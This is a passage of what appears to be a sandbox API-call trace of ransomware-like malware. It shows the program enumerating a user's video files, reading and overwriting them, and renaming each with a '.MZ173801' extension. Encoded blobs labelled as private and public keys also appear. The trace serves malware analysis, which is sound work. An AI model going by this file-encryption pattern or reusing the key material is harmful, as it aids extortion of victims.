hTemplateFile=0x0) returned 0x2f4 [0167.085] WriteFile (in: hFile=0x2f4, lpBuffer=0x24bde70*, nNumberOfBytesToWrite=0x15b21, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24bde70*, lpNumberOfBytesWritten=0x19f1c0*=0x15b21, lpOverlapped=0x0) returned 1 [0167.088] CloseHandle (hObject=0x2f4) returned 1 [0167.091] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\nS7qCk1FY_m2n6d8o2.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\ns7qck1fy_m2n6d8o2.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\nS7qCk1FY_m2n6d8o2.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\ns7qck1fy_m2n6d8o2.flv.mz173801")) returned 1 [0167.092] GetCurrentThreadId () returned 0xab4 [0167.092] GetCurrentThreadId () returned 0xab4 [0167.092] GetCurrentThreadId () returned 0xab4 [0167.092] GetCurrentThreadId () returned 0xab4 [0167.092] GetCurrentThreadId () returned 0xab4 [0167.092] GetCurrentThreadId () returned 0xab4 [0167.092] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4672dd90, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0xddf000c0, ftLastAccessTime.dwHighDateTime=0x1d5e2b1, ftLastWriteTime.dwLowDateTime=0xddf000c0, ftLastWriteTime.dwHighDateTime=0x1d5e2b1, nFileSizeHigh=0x0, nFileSizeLow=0x17ba5, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="t7GuLdHOG.avi", cAlternateFileName="T7GULD~1.AVI")) returned 1 [0167.092] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0167.093] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.093] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\t7GuLdHOG.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\t7guldhog.avi"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4672dd90, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0xddf000c0, ftLastAccessTime.dwHighDateTime=0x1d5e2b1, ftLastWriteTime.dwLowDateTime=0xddf000c0, ftLastWriteTime.dwHighDateTime=0x1d5e2b1, nFileSizeHigh=0x0, nFileSizeLow=0x17ba5)) returned 1 [0167.093] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\t7GuLdHOG.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\t7guldhog.avi")) returned 0x20 [0167.093] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\t7GuLdHOG.avi", dwFileAttributes=0x80) returned 1 [0167.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0167.109] GetCurrentThreadId () returned 0xab4 [0167.109] GetCurrentThreadId () returned 0xab4 [0167.109] GetCurrentThreadId () returned 0xab4 [0167.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.111] GetCurrentThreadId () returned 0xab4 [0167.111] GetCurrentThreadId () returned 0xab4 [0167.111] GetCurrentThreadId () returned 0xab4 [0167.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\t7GuLdHOG.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\t7guldhog.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0167.111] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0167.111] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0167.111] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x17ba5 [0167.111] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0167.111] ReadFile (in: hFile=0x2f4, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x17ba5, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f1b4*=0x17ba5, lpOverlapped=0x0) returned 1 [0167.113] CloseHandle (hObject=0x2f4) returned 1 [0167.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\t7GuLdHOG.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\t7guldhog.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0167.117] WriteFile (in: hFile=0x2f4, lpBuffer=0x24bfe70*, nNumberOfBytesToWrite=0x17ba5, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24bfe70*, lpNumberOfBytesWritten=0x19f1c0*=0x17ba5, lpOverlapped=0x0) returned 1 [0167.120] CloseHandle (hObject=0x2f4) returned 1 [0167.182] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\t7GuLdHOG.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\t7guldhog.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\t7GuLdHOG.avi.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\t7guldhog.avi.mz173801")) returned 1 [0167.183] GetCurrentThreadId () returned 0xab4 [0167.183] GetCurrentThreadId () returned 0xab4 [0167.183] GetCurrentThreadId () returned 0xab4 [0167.183] GetCurrentThreadId () returned 0xab4 [0167.183] GetCurrentThreadId () returned 0xab4 [0167.183] GetCurrentThreadId () returned 0xab4 [0167.183] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda1eb770, ftCreationTime.dwHighDateTime=0x1d5ec07, ftLastAccessTime.dwLowDateTime=0x2f4c4120, ftLastAccessTime.dwHighDateTime=0x1d5e11f, ftLastWriteTime.dwLowDateTime=0x2f4c4120, ftLastWriteTime.dwHighDateTime=0x1d5e11f, nFileSizeHigh=0x0, nFileSizeLow=0x9bf6, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="xWBAe007WO5EnzhrP2CH.mp4", cAlternateFileName="XWBAE0~1.MP4")) returned 1 [0167.183] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0167.183] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\xWBAe007WO5EnzhrP2CH.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\xwbae007wo5enzhrp2ch.mp4"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda1eb770, ftCreationTime.dwHighDateTime=0x1d5ec07, ftLastAccessTime.dwLowDateTime=0x2f4c4120, ftLastAccessTime.dwHighDateTime=0x1d5e11f, ftLastWriteTime.dwLowDateTime=0x2f4c4120, ftLastWriteTime.dwHighDateTime=0x1d5e11f, nFileSizeHigh=0x0, nFileSizeLow=0x9bf6)) returned 1 [0167.184] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\xWBAe007WO5EnzhrP2CH.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\xwbae007wo5enzhrp2ch.mp4")) returned 0x20 [0167.184] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\xWBAe007WO5EnzhrP2CH.mp4", dwFileAttributes=0x80) returned 1 [0167.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5